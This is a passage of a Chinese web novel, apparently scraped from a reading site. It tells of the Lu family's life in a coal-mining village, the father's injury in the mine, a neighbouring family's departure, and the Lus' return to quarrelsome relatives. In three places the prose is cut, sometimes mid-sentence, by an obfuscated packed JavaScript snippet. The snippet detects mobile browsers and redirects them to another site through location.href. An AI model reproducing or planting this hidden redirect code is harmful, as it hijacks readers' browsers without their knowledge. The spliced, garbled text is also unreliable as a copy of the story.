那老头子遭人恨的地方那么多,父亲偏偏只在这一点和大姑姑的事上埋怨他,这两道坎,父亲一辈子都翻不过去。 刘秀珍安慰道:“你爸谁去学校都要打,除了你哥。你好歹读了个三年级,我听你妈说,你姐路过学校,多看一眼,你爸的脚立马就踢她背上。” 陆易宁腹诽:老妈真是懂得安慰人,用另一个戳心窝子的事来摆平眼前的戳心窝子,一下戳了两个大窟窿。 陆易安将五个石子推到陆易宁面前,“到你了,我这次翻了三个。” 陆易宁忍不住拆穿,“你骗人,刚才你手背上明明只有一个。” “你不说我差点忘了。”陆平一拍大腿,“你得给我点钱。今天我接了个电话,岁程哥打来的,他说他要结婚了,下个月三号。” “你岁程哥?”刘秀珍想了想,终于记起这个人,“就是陆安安出生时,悄悄喊你出去,给你钱的那个?” “对,就是他。” 刘秀珍:“他不是在新疆吗?” “什么新疆,他在西藏,但有假,婚事在家里办。”陆平解释。 “那你是托人送份子钱还是亲自去?” “我们结婚和陆安安出生时,他难得在家,都来了。虽然没进门,但人家心意摆在那儿,我不去能行吗?” “也是。他这个年纪,也该结婚了。”刘秀珍点头,“他应该有三十六了吧?” 刘秀珍记得,结婚那天,有个男人远远朝陆平招手,陆平跑了几百米去接他,他却不肯来家里。 “哪有,差不多三十五。”陆平看着外面两个女儿玩石子儿的场景,若有所思地说:“姐要是还在,差不多也三十三了。” “该你了,别耍赖哦。”陆易宁蹲下身,背靠着墙,将石子扔到陆易安面前。 陆易安开始抓石子,没抓好,又耍赖重新抓。陆易宁全当没看见。 * 年刚过完,勘察队从村里走了几天,拆迁队也来村里量地。争取在开春前,将地量好,来年在城里分配好住处,就可以拆迁。 天气冷,前几天一直在下小雨,今天难得放晴,刘秀珍外面随便套了一件陆平的厚外套,挺着肚子也要去看拆迁队量房子。 路滑,赵倩怕她摔倒,将郑煦关在陆家,陪着她去凑凑热闹。 拆迁队的人正在量李凤仙的老房子,李凤仙不乐意,被两个儿子拉着,一边哭一边骂量地的人。骂得要多难听有多难听。 围着的人都在劝她,拆了房子能在市里分上好的,国家还能给你钱。 李凤仙才不管钱不钱的,她守着这三间瓦房过了大半辈子。她生了四个孩子,平日里谁也不管她,一说拆迁,几年没回家过年的大儿子今年从外省回来了,小儿子也特意请了一天假不去挖煤,专门惦记着她这三间屋子。 “为了挖煤,你们地也不给我种,现在还要拆我的房子!”李凤仙瘫坐在地上,嚎啕大哭,边哭边咒骂,“你们这群狗娘养的东西,我要到上面告你们。告你们霸占我的土地,拆我的房子!” 拆迁和煤矿征地是两码事,李凤仙却固执地将二者混为一谈。 量地的人被骂了很久,巴不得赶紧量完,做好标记赶紧撤。 李凤仙的大儿子用力拉住李她的胳膊,深怕她去打人家拆迁队的人,“妈,这不是一码事,再说了,人家拆房子会给你钱还给市里的房,又不是白白给别人拆着玩。” “我不管,我不拆,就算有钱也落不到我头上。你们现在量了也不算数,等拆的那天我就守在这,谁敢动我的房子一砖一瓦,我死给他看!” “唉,有的人巴不得得拆迁赶紧搬去好的地方,她还瞧不上。”赵倩搂住刘秀珍的胳膊,站的地方地势高,可以清清楚楚地看到李凤仙撒泼的全过程,“可惜了,这好事没落我头上。” “其实她也舍不得吧。”刘秀珍想到过年的时候,李老太婆家分猪肉的场景,不免打了个寒颤,放低声音猜测道:“而且,你看,今年过年前几天,她家杀猪的时候,她养了一整年的肥猪,大儿子和小儿子还有另外两个女儿一来,分来分去,肉好的地方全分走了。她就得个猪头,两只猪脚还有猪下水。连分块肉都分不到,更别提煤矿征地和这次拆迁的钱了。” “切,活该。这老太婆每次看见你家陆安安和陆七七都要故意贬低你没生儿子,这下好了,她儿子多,孙子也多,一天天专门给儿子带孙子,到最后连屁都捞不到。” “别这样说。”刘秀珍说:“我们看起来她可怜,说不定她觉得很开心呢。” “反正拆迁这碗送到面前的肉我是吃不上了。”赵倩头搭在刘秀珍的肩膀上,“姐,你一定要抓稳了。” 本来已经定好了要装修房子的事,结果老家的一通电话打来,把赵倩的计划全部打乱。 “我家也不消停。”刘秀珍双手插兜,被风吹得缩了缩脖子,“你哥本来就不想贪人家的地盘,别说你爸妈了,你哥他爸他妈也是这样,这几天天天往这打电话,一会说是又被他大儿子和儿媳妇虐待了,一会又说老爷子上坡,腿摔断了,总之就是想喊你哥回去。陆老三那人本来就想回家,这下,别说过段时间你家搬走了,我家可能也要搬。” * 郑煦手里拿着一盒饼干,自从赵倩将他送到家里来时,陆易安就瞄准了这盒饼干。 伸手要,人不给,那好,只能靠嘴了。 陆易安按下郑煦的肩膀,郑煦稳稳当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438371|169308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当地坐在小板凳上,吃着饼干的同时,一边等着个大眼睛看她,预防她抢自己的饼干吃。 “郑阳阳,你懂得什么叫分享吗?”陆易安抱着小手,一本正经的,即将开始胡说八道。 陆易宁安静地坐在郑煦旁边,看陆易安又要怎么骗人。 “不知道呀。”郑煦傻乎乎地摇头。 “那我给你讲个故事,叫老变婆的故事。”陆易安竖起食指问:“你知道老变婆吗?” 郑煦接着摇头。 “以前,在我们这里,有个老奶奶带着她的孙子孙女去赶集。路上,老奶奶想尿尿,所以将她的孙子孙女放在路边,去土坎旁边尿尿,结果尿尿的时候,突然,一个披着头发的老太婆冲过来,一口把她给吃了。老太婆很吓人,长指甲,黑牙齿,说话时因为嘴巴里在吃人的手指头,咯吱咯吱的。这个就是老变婆。” 陆易宁扭头看了郑煦睁得大大的眼睛,这傻孩子话都不会说多少,能听得懂吗? “你听得懂吗?”陆易宁问。 郑煦摇头,嘴里却说,“吓人。” 这大概就是不明觉厉吧。 陆易安绘声绘色,外加肢体语言描述,“老变婆吃完奶奶后,变成了奶奶的模样,走到孙子和孙女身边。然后,她给男孩子变出一包饼干。”陆易安的视线落到郑煦的饼干上,“女孩子手上什么都没有。老变婆让他分给姐姐几块,小男孩不肯,把饼干全吃了。后来,老变婆哈哈哈哈哈地笑,一口就把小男孩吃了,你知道为什么吗?” 郑煦哆嗦着问:“为什么?” 陆易宁拧着眉头听完,这傻孩子听都听不懂,却很捧场。 “因为,吃了饼干的孩子肉甜,老变婆刚吃他奶奶的肉,觉得不好吃,所以才拿饼干给他吃,他吃完饼干,肉变甜了,才好吃。”陆易安说:“所以,你要自己吃完独食,等肉变甜了,让老变婆来吃你吗?” 陆易宁:这故事是这样的吗? “哇!我不要!”郑煦张着嘴大哭,“我奶奶才没被吃。” 陆易宁:你哪来的奶奶? 刘秀珍和赵倩回来时,郑煦手中的饼干已经转移至陆易安手里,没了一大半。 “妈妈,我不要被老变婆吃!”郑煦哭着去找赵倩抱。 刘秀珍一眼就看出来发生了什么事,从门后拿出烧火棍,“陆安安,你又给老子骗人,老子今天不让你变成骨头渣渣老子和你姓。” “我上次买小笼包也分给他了,他连两块饼干都不分给我,小气鬼。”陆易安把饼干放在地上,立马跑到里屋把门关上。 “姐,你别打她了,这盒饼干本来就是我拿来让他们几个分着吃的。”赵倩抱着孩子走进来。 房门被刘秀珍撞开,虽然有赵倩拉着,陆安安还是被揍了一顿,屋里又出来一阵哭声。 快要停下来的男低音与突然爆发的女高音二重唱。 陆易宁将饼干捡起来,还给郑煦,“别哭了,吃饼干肉不会变甜,也没有老变婆。” 郑煦拿着饼干,哭得上气不接下气。 刘秀珍教训完孩子,拿了两根香蕉,才将郑煦哄好。 * 半夜十二点,家门口传来一阵急促的脚步声。 外面飘着雨,刘秀珍打开门时,几个推着一辆斗车走过来,陆平则是躺在斗车里,右脚的裤腿从脚踝到膝盖被喇了一个大口子,上面全是血,周边的皮肤裸露在外面,不知是被冻的还是被砸的,青一块紫一块的。 陆易宁跟着母亲一块出门,刘秀珍看见这一幕,差点吓晕过去。 陆平咬着牙,浑身打哆嗦,“就是有个地方塌了,被……被砸了一下,没事。” “什么没事?”刘秀珍连忙将门打开到最大程度,“都砸成这样了。” 郑煦将陆平推到家门口,“姐,你赶紧给哥收拾一点干净的衣服,我们跟着送他去医院。” 陆易宁见状,忍不住转身靠在门上哭起来。 她下午在父亲去上班时再三交代他多留意周边的情况,就是怕他的腿受伤,到头来还是发生了。 上一世父亲因为脚伤还没好就下井,所以出了意外,去拉装煤的斗车时,因为脚伤,速度慢,斗车掉下来时反应不及,另一个工人去拉他,反而一块被斗车砸中。 “七七,爸爸没事,爸爸不痛。”陆平看见女儿哭,连忙安慰女儿。 陆易宁被刘秀珍带到里屋关着,刘秀珍收拾了几套衣服装起来,走到门口,“我跟你们去。” 赵倩手顶着雨跑过来,“姐,你就让郑松跟着去,这件事矿里不会不负责的。” 陆平说:“你别去了。” 领班看见刘秀珍的肚子,说:“妹子,这事矿里面会负责医的,你不方便的话,还是别去了。等明天天亮,我们保证把他送回来。” 陆平咬着牙说,“听他们的。” 加上赵倩也跟着劝,最后,陆平被三个男人一块送去了医院。 “实在不行,明天我替你去看。”赵倩说:“你现在的肚子,实在不方便啊。” 刘秀珍站在门口,摸了摸隆起的肚子。 其实赵倩说得也对,这段时间街上不知道怎么了,查得非常紧,她已经两个多月没敢带着孩子上街了,要买什么都是请人或者是陆平去买。 那帮人指不定过不久就要跑到煤矿上来查了。自己怀着孩子,要是被带走,陆平又去了医院,家里的两个小孩怎么办? 14. 第十四章 一切都在既定的轨道上缓缓前行。 陆平的腿伤未愈,无法下井工作,从医院回来后休养了一个多星期,能勉强走到陈记杂货铺接电话。 刘秀珍这几日加班加点,终于织好了给郑煦的毛衣。 赵倩的父亲在老家为郑松联系了一个工地的工作,开工在即,郑家即将搬回老家。 清晨,陈菊萍、周秀芬和安老太太陆续来到郑家。几个女人围坐在一起,吃过早饭,闲聊几句后便各自离去。 天气终于放晴,阴雨连绵十几天,阳光重新洒满大地,气温回升,是个离别的好天气。 陆易宁坐在家门口的小凳子上,郑煦手里攥着几颗他最爱的蓝白皮包装花生糖,脸蛋红扑扑的,递过来一颗:“你要吃糖吗?” “谢谢。”陆易宁接过糖,剥开糖纸,放入口中。 郑煦嘴里塞着糖,说话有些含糊:“妈妈说我们要搬走了,我再也……也看不见你和安安姐姐了。” “会再见的。”两岁的陆易宁拿起郑煦面前的口水兜,轻轻擦掉郑煦下巴上的口水,语气温和却带着几分郑重,“孩子,以后一定要保持初心,像现在这样傻里傻气的就好。别太调皮,别惹你妈生气。以后我再见着你,要是你敢惹我,我可真敢揍你哦。” 郑煦握紧小拳头,不服气地回嘴:“你敢揍我,我就敢打你!” * “真好看。”赵倩高高举起刘秀珍织给郑煦的毛衣,灰色的小毛衣上还用白色和棕色的毛线织了他最喜欢的小花狗头像。赵倩盯着那栩栩如生的图案,眼泪渐渐模糊了视线。 “你干嘛呢?举着毛衣是怕我看见你哭吗?”刘秀珍一把将她的手按下来。 “我就是舍不得。”赵倩低下头,眼泪一颗颗砸在地板上,“回了老家,去哪找你这样的对门啊?我和郑阳阳要是穿不着你做的衣服,模样都变丑了。” 刘秀珍心里也满是不舍。刚来煤矿村时,她觉得日子苦闷,看什么都提不起劲。可没过几天,对面搬来了赵倩,年轻漂亮,说话温柔,人也热情。虽然两人不算熟络,但每当刘秀珍和李凤仙吵架吵不赢时,赵倩总是第一个站出来帮她。得知两家人是同一县城的老乡后,两人的关系更近了一步。 如今赵倩要搬走了,刘秀珍心里空落落的。她忍不住想,若是自己也搬走,还能遇到这么好的妹妹吗? “你长得这么好看,穿什么都好看。”刘秀珍强忍住眼泪,“而且,就算你不搬走,过段时间我们可能也要搬啊。” “我知道。”赵倩擦掉眼泪,将毛衣折好,放进床板上的皮箱里,“这几年麻烦你和陆哥了。郑松岁数小,不爱说话,在煤矿里经常被人针对,还好陆哥帮忙挡着点。我刚怀郑阳阳的时候,什么都不会,什么都不懂,都是你教的我。姐,我真的好舍不得你。” “我给你写的电话,你一定要记得打给我,别我们一搬走,你就当没我这个人了。” 刘秀珍拿出卫生纸,擦掉鼻涕,“好,我会打的,以后每个星期都给你打。” “你生了小宝宝,一定要给我打电话,我到时候去看你,给你带我妈做的熏鸭和豆腐干。” “好,生了孩子我一定喊你去我家,我亲自去街上接你。” 两人在屋里哭了一会儿,陆易安买零食回来,难得大方地分了一半给郑煦。听说赵倩阿姨待会就要走,陆易安立刻跑到屋里抱住赵倩,求她不要走。 她要是走了,以后被老妈打,就少一个人拉着老妈了。 郑松联系的车开到路口,陆平瘸着腿,一拐一拐地也要帮忙搬点东西。 陆易安抱着赵倩的腿哭了半天,陆易宁和刘秀珍轮流哄她,却无济于事。 车开走了,小家伙从路口追到街上,那辆装着郑家行李的车只留下一地灰尘和赵倩被发动机声淹没的“再见”。 刘秀珍好不容易将陆易安哄回家,可回到家,陆易安还是哭个不停。 陆易宁拉着她的手,把她带到里屋,替她擦掉眼泪,“别哭了。” 陆易安抽泣着说:“我舍不得倩倩阿姨。” “我听妈妈说,我们两家以后会再见的,会做一辈子的邻居。”陆易宁安慰道,“倩倩阿姨现在只是提前回去,替我们收拾地方,等过不久,我们家也就搬去了。” “那要过多久?” “也就……”陆易宁算了算时间,大概还要两年多,“等你读书了,就差不多了。” “可是我不想读书!”陆易安又开始哭了。 在她看来,只有读书才能见到赵倩阿姨,可她最不想的就是读书。要么读书,要么不见赵倩,这突如其来的选择题让她更加难过。 陆易宁扯了半截卫生纸给她擦眼泪,“可是你得读书的呀。” 陆易安将陆易宁推出房间,带着哭腔,“你先让我想想。” 大女儿哭得厉害,刘秀珍专门从陈菊萍家拿了一个陆易安最爱吃的橙子回来哄她。结果回到家,只听见她在里屋啜泣的声音。 “姐姐偷偷在里面伤心啊?”刘秀珍看了一眼站在门口的陆易宁。 “她说她要好好想想。”陆易宁走到门口,将门外的小凳子拿进来,“爸爸呢?” “爸爸在伯娘家打电话。”刘秀珍将给陆易安带的橙子放在橱柜上。 陆易宁问:“我们家也要搬走吗?” “不知道啊!”刘秀珍揉了揉她的头发。 不一会儿,陆平回来了。 陆易宁一看他的脸色,就知道家里的二老又开始向他哭诉大伯大伯母不是好人,骂他不孝了。 陆平坐在墙边,刘秀珍在削土豆皮,打算下午给陆易安做她喜欢的青椒土豆丝。 偷偷观察了刘秀珍半天后,陆平终于开口,“秀珍,要不我们还是搬回去吧,正好今天郑松走的时候,给了我司机的联系电话。” “我不想搬。”刘秀珍头也不抬,已经削干净的土豆又被多削了两块肉下来,“七七,拿盆去对面帮我舀点水抬过来。” 陆易宁拿上盆,走到郑家租的房子,往储水桶里舀水。原本每个角落都被各种生活用品塞得满满的小屋子,现在除了门边的储水桶里有半桶水之外,什么也没了。 “我也不想搬啊,但哥和嫂这次做得太过分了。妈的腿脚本来就不方便,爸的腿都受伤了,连水都挑不了半桶,哥不管不说,还天天让嫂跑到家门口各种咒骂爸和妈。爸妈现在用的水,吃的东西全是附近邻居看不下去拿来的。哥一家倒好,自己不做事,别人看不下去,来帮会忙,他还好意思登上门骂人家,现在别人想帮忙都帮不了。妈天天在家里哭,她的眼睛本来就不好,再哭怎么得了嘛。” 陆易宁端着水回去。 “怪我咯。”刘秀珍将地上的土豆捡放在盆里。 “你不要这么冷漠行不行。”陆平每次和刘秀珍说到家里的事,她都是一副事不关己高高挂起的态度,“他们怎么说也是我爸妈呀,你和我过日子,总不该不当他们存在吧?” 刘秀珍抬起头,憋着一股劲儿,既然想掰扯,那就将两个老人做的偏心事重新数出来,“你爸你妈这样是你还是我造成的?当年分家的时候,你妈嫌你的陆安安是女儿,不值得吃好的用好的,跟你大嫂一块合计,将家里好的地全分走了,给你分一些高地偏坡。不知道的还以为你爸你妈把村里没人要的荒地都给你了。你在家的时候什么活都帮你爸妈做了,我做饭吃,只要有好吃的,只要有点肉,每一顿我都要端一半去给你爸给你妈,看他们没新衣服,我就去买布来加钟加点给他们做。结果呢,他们反倒逼着我给你两个侄子做衣服。嫌你赚不到钱,嫌我们没儿子,嫌你不能像你哥一样去修桥,将我们一家逼到煤矿上。现在好了,你哥你嫂分得地了,不管他们了,念着你来了。” “不是我说你,你怎么这么死脑筋,就不能灵活一点吗?”刘秀珍想着以前的事,一阵心酸,看陆易宁帮她扫土豆皮,动作一顿一顿的,更生气了,“别的不说,就说陆七七,她出生到现在,你爸你妈没托人打过一个电话来问过,连她叫什么都不知道。而你哥一家呢,就因为你嫂的二胎是儿子,你爸妈东拼西凑也要帮他家凑罚款,前前后后贴补了他家一万多块,还要喊你出钱。你是观音菩萨还是如来佛啊,心胸那么广,那么想回去倒贴吗?” “可是他们是我爸妈啊,我能不管他们吗?”陆平也很纠结,“而且,这次,他们也吃了亏,受了苦,不是吗?” “你爸妈,你爸妈!”又是这套说辞,刘秀珍气不打一处来,“陆老三,你是谁带长大的你不知道吗?你姐是怎么没的你不知道吗?你爸妈从始至终只有你哥一个亲儿子你不知道吗?” “话是这样说没错,但是我爸妈生了我,我从小到大,还不是照样吃我爸妈的,住我爸妈的吗?” “我懒得听你说这些废话。”刘秀珍开始切土豆,切得尤其用力,“你要回家可以,你回你的吉长镇,我回我的杨长镇,我家地盘大,我去找我妈,我去找我哥。正好刘林家生意好,我去帮忙一个月还能挣点。” “吉长和杨长不也只隔十几公里吗?刘林的店还开在吉长镇街上,你多挪点地方,就能去我家了。” 陆易宁望着亲爹说出这句话时的神情,平平静静,一脸天真。 真是活该被骂。 “陆老三!”刘秀珍一菜刀下去,菜板上的土豆一分为二。 陆易宁和陆平同时颤了一下。 陆易安平复好心情,哽咽着走出来,“妈妈,我想好了,我要去读书,我们搬家,我们去找倩倩阿姨。” 正中火口。 “搬你脑壳,搬什么搬?”刘秀珍在气头上,也顾不着自己刚才想哄女儿的心思。 “倩倩阿姨~”被吼了一句,陆易安又开始哭起来,回到里屋,愈发想念刚离开两个小时的赵倩。 “你吼她做什么?”陆平从口袋里摸出几块奶糖给陆易宁,“七七,拿去跟姐姐分着吃。” 罢了,陆易安撞火枪口也是因为自己,陆易宁觉得对不起陆易安,四枚糖果全分给她吃。 “还不是怪你!”刘秀珍瞪着陆平。 陆平缩了缩肩膀,半天没说话。 待妻子的火气小了一点,才无关痛痒地说:“哎哟,不回去,我们新建的两间大平层就该被哥和嫂占去当柴房 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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以前,因为煤矿上查得不严,所以陆平和刘秀珍跑到这里生二胎。结果陆易安那大嘴巴上街的时候乱说话,被人注意到了。陆平不得已花了点钱,通过安老太太的人脉通了通关系,最后保证陆易宁得以出生。 这一次,明显不行了。 二胎可以以头胎是女婴做点掩护,三胎的话,情况很难说。 终于,刘秀珍为了孩子,决定回老家。在赵倩一家离开半个月后,陆家也搬走了。 陆易安一一拜别了煤矿上的叔叔阿姨,还有自己的好朋友,尤其是安老太太。 离开时,硬是抱着安老太太哭了很久。 路上,陆平坐在副驾驶,陆易安和陆易宁陪着母亲坐在后排。 车颠得慌,陆易安小心翼翼地护着刘秀珍的肚子,怕晃到里面的妹妹。 天刚黑,车停在吉长镇的街上,刘秀珍本想去刘林家里看一下,怕有人看着她们一家四口,只好抓紧回了老家。 这几天天晴,没下雨,路上还算好走。 “妈妈,我明天可以看见倩倩阿姨吗?”陆易安牵着刘秀珍的手,她早就忘了老家的样貌,还以为这次搬家会搬到赵倩家对面。 “想倩倩阿姨了?” “嗯。” 刘秀珍:“那回家打电话给她。” 陆易安心里隐隐猜到了,既然要打电话,那就说明,倩倩阿姨家根本不在这。 快要到家的时候,两个老人早就点着手电,站在马路上等着。 陆平看见父母在等他,不由得加快了步子,生怕让父母多等。 虽然立了春,出了太阳,但是晚上的温度依旧很低。 刘秀珍看见两个老人站在路上,暗里心疼,但是想到他们之前做的事,还是拿不出什么好语气,“天气冷,你们就别等在路上了嘛,你们这样等,别人看见都知道我们回来了。” 陆平用胳膊挤了她一下,刘秀珍不说话了。 “爸,妈,秀珍说的也是,这么冷就别站在这了。” 高翠英难得对着两个孙女和善地笑,“我还不是想我的两个孙女,要来看看嘛。” 当她的视线与陆易宁相接时,陆易宁装也不装,“那你知道我叫什么名字吗?” 高翠英的脸上的笑容瞬间僵住。 真好笑,打了那么多电话到煤矿上诉苦,却没问过孙女一回,现在又说是想孙女。 如果不是盼着儿媳妇肚子里还没出生的那一个孩子是儿子,别说在路上等了,家门都不想开。 “陆七七。”陆平沉声。 陆易宁背着手,假装没听见。 陆平推了推陆易安和陆易宁的背,“你们两个,快喊爷爷奶奶。” 陆易安压根记不得以前的事,乖乖听父亲的话,喊了声,“爷爷,奶奶。” 两个老人只是笑着点头。 “陆七七,快喊。” 在父亲的催促下,陆易宁一动不动地扫了两位老人一眼,然后大步向前走,“我好冷,我想赶紧回家。” 她才不喊,过段时间指不定怎么欺负人呢。 15. 第十五章 老家的房子距离大伯一家只隔了十来米,两家共用一块院坝。 过了两世,陆易宁早就忘了老家长什么样,只记得一个大概的轮廓。 当初爷爷奶奶为了劝父亲留在老家娶妻生子,特意划了一块地给他建房子,为此,大伯母天天守着两位老人骂。 家门口摆满了各种乱七八糟的东西,农具,白天晒的干柴,以及脏鞋脏衣服…… 连个落脚的地方都没有。 对面贴着瓷砖的平房的灯开了,陆远穿上衣服赶紧出来,看见弟弟,似乎早就知道他会回来一般,“你们怎么现在才来?” “车开晚了。”陆平将两个女儿拉到跟前,“快喊大伯。” 陆易安:“大伯。” 陆易宁盯着他看了一会儿,陆远的张脸跟父亲有点像,不过他没有父亲爱收拾打扮,面像比父亲老多了。 “门口堆着这么多东西,我怎么进去啊!”陆易宁小脚一跺,眼睛一瞪,有几分无理取闹的味道了。 陆天松赶紧给陆远使了一个眼色,“还不把这些乱七八糟的东西收了。” 陆平抓紧将柴火抱到自家门口。 刘秀珍宠溺地揉了揉陆易宁的脑袋,“聪明得很嘞,居然知道这是你家。” 门被打开,两年多没回来了,屋里的霉味混杂着灰尘扑面而来。 刘秀珍将床重新铺好,两位老人随便坐在茶几上,儿子忙着收拾行李,他们忙着向儿子诉苦。 刘秀珍干脆带着两个女儿到前面的房间,先随便打扫前面的屋子,留里屋给两位老人和陆平。 不一会儿,里屋就传出高翠英的哭声。 老两口说了半天,说的无非是陆远和陈英对她不好,她和别人家吵架,儿子和儿媳妇还帮着别人家来骂她,庆幸名下的土地还没全分出去,剩下的以后要全部给小儿子。 陆易宁和刘秀珍的脸上没有任何波动。 刘秀珍知道老太太是个说一套做一套的主,陆易宁则是知道等妹妹出生后不久,老太太就要把剩下的土地全留给两个孙子。 陆远回到家,想了片刻,开始往水壶里装水。 陈英躺在床上听见他的动静,立马跳下床,“你在做什么?” “老二他们一家刚回来,家里没一样干净的,我装一点水过去,万一他们想喝水呢。” “凭什么装给他们。”陈英一把夺过陆远手上的水瓢,“这水也是我白天和陆一明去挑的,我不给。” “就一壶水你至于吗?” “怎么不至于?”陈英一把将水桶盖盖住,“有本事你现在去水井边给他们挑啊!” 怕被邻居们听到,陆远低声底气地说:“他们一家才搬回来,你就想吵架吗?” 陈英对着门口说:“是我让他们搬回来的吗?” “你小声点!” 不就回个家吗?两个老家伙还特意守在大马路上,深怕别人不知道他们的靠山回来了。 现在,两个老家伙指不定怎么向小儿子煽风点火呢。 想到刘秀珍刚才夸二女儿的话,陈英就气,“还知道是自己家呢?故意损谁呢?你家的那间房子占的地盘都是我家的,老娘堆点东西放在门口不行吗?” “哎哟,你鬼话太多了,快回去睡觉!”陆远将她推到床边。 弟弟一家才刚来,若是附近的人听见,还以为他们一家见不得弟弟搬回来呢。 陆易安垫着凳子,掀开窗帘的一个角,偷偷听对面的声音。原本只想听个八卦,越听越不对劲。 “妈妈。”陆易安跳下凳子,走到贴在门后的刘秀珍身边,“大伯他们是在骂我们家吗?” 里屋还有两个老人,刘秀珍朝陆易安眨了眨眼,“你别说话。” 陆易安气呼呼地说:“那我以后不喊他大伯了。” 刘秀珍站直身子,“不行,该喊就喊。” 刘秀珍了解女儿的脾气,记仇,谁骂她她就和谁吵。 在煤矿上时,有时候连李凤仙都能败在她手里。 “陆安安,我提前跟你说,你以后别跟你大伯大伯母吵架。” 刘秀珍知道陈英是个无理都要闹三分的主,若是陆易安和她吵,被她抓住辫子,指不定又要怎么闹呢。 陆易安:“那他们要是欺负我和妹妹怎么办?” “那你就来告诉我!” 陆易安扭头看了正在鼓捣电视机的妹妹一眼。 唉,看来以后的日子不好过咯。 她才不管,谁敢惹她,她咬死谁。 * 第二天一早,陆远还是将昨晚水壶里的水提到弟弟的家门口。 刘秀珍道完谢,陆平已经挑着水回来了。 兄弟俩没什么话讲,昨晚刘秀珍特意交代过, 不要因为高翠英的的话第二天去质问陆远一家为什么对爸妈不好,刚回来就吵架不行。 陆远喊去他家吃早饭,缺心眼的陆平想都没想,就说要去和父母一块吃。 正在洗脸的陈英一听,又开始不乐意了。 一回来就要去贴两个老人的屁股,合起伙整人了吗? * 回来一周,七天内,陆平负责了两位老人吃穿用度的一系列问题。白天去地里帮两位老人割草松土,晚上回来帮忙喂猪。 只要两位老人有需要买的东西,走几公里的路也要走去街上买背回来。 刘秀珍倒是没什么想法,她了解陆平的性子。因为从小缺爱,给一点甜头,就被满足了。只要他爸妈肯舍他脸,对他好一点,哪怕两位老人以前的心偏到肋骨去,他照样也能当大孝子。 事教人,教训深,这种道理在陆平身上体现不出来。 两位老人的变脸程度刘秀珍已经受教多次了,现在老人生病她会管,该出的钱也会出,该出的力也会出,但要是像以前一样尽心尽力掏心掏肺,没可能。 丈夫要去当大孝子,她没什么可说的,因为说了他也不听,反倒被他骂。 就是两位老人把陆平当牲口使,她有点看不下去。 同样看不下去,还有陈英。 在她眼里,老二这样做肯定是趁机在父母面前说闲话。 * 搬回来一个多星期了,刘秀珍和陈英梅搭过几句话。反而是陆易安和陈英的两个儿子玩得欢。 刘秀珍不能常出门,陆易安除了有时候跟着奶奶出去逛去别人家摆龙门阵之外,实在没什么玩的。 还好有两个大她几岁的堂哥。 刘秀珍在家里看电视,陆平怕她无聊,特意去别人家借了几个碟片回来。 陆易宁最喜欢的就是看电视,以前不懂碟片里的荤段子,陪外婆看各种山歌碟片看得不亦乐乎,现在陪母亲大人看实在看不下去。 陆平上山时,给陆易安做了一个木陀螺,算是目前陆易安最喜欢的玩具。 此时,几个孩子正在院坝里玩陀螺。 太阳还没下山,刘秀珍做完饭,开始给陆易安做衣服。 没几个月她就要去读书了,孩子长得快,必须多给她做几身不一样大的裙子,还有小T恤和小短裤。 陆一晨的哭声传来,刘秀珍刚穿完针线,只得将针别在布料上,出门去看。 “你哭什么哭?你抢了我的东西,我还没哭,你先哭了。”陆易安手里握着一根铁棍,气势汹汹,手里的铁棍是陆家两兄弟玩滚铁环用的。 “屁!”陆一明将陆一晨拉到身后,推了陆易安一掌,“你爸给你做的陀螺,砍的是我家的树,所以陀螺就是我家的。” 陆易安哪里肯听他的歪理,竖起手里的铁棍,丝毫不让步,“我爸爸给我做的就是我的,你们想抢我的陀螺,我就抢你们的铁环。” “陆安安!”刘秀珍阴沉着脸走出来。 陆一晨察觉到对方被压制,立马冲到前面去抢陆易安手里的铁棍子。 陆易安这会哪顾得上身后老妈的威慑,反应过来就挥着手里的铁棍乱打。 一不留神,敲了陆一晨的手两铁棍。霎时间,陆一晨啥时间哭得堪比狼嚎。 “陆易安,你还敢动手打人了!”刘秀珍冲上前去夺她手上的棍子,陆易宁也跑出来帮忙。 在这个家,陆易安可以惹陆远,可以惹陈英,甚至可以惹陆天松和高翠英,就是不能惹家对面的两个农村土皇子。惹到他们俩,白的两个老人都能说成黑的。 陈英喂割草回来,正好碰上家门口的一出大戏。 看见儿子抱着手哭,背上的竹筐落地,她二话不说就冲过去。 “你打我儿子做什么?”陈英一把扯上去,将陆易安手上的铁棍抢过来,陆易安一屁股坐在地上,哭声顿时压过陆一晨的。 刘秀珍将女儿抱起来,“是一晨和一明先去抢她的陀螺,她气不过,才去拿他们的铁环。” 陆一晨哭着告状,“是她打我!” “你哥先推我的。”陆易安快要气炸了。 “你是她妈,你肯定向着她啊。”陈英一脸凶样,本来就大的眼睛瞪起来,眼珠子像是要从眼眶里跳出来似的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438373|169308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刘秀珍很久没吵过架了,既然陈英要吵,那也只能被动发出技能了,“你这话说得真是好笑,你儿子先欺负我家陆安安你不管,一上来就推我女儿,你都向着你儿子,我不能向着我女儿吗?” 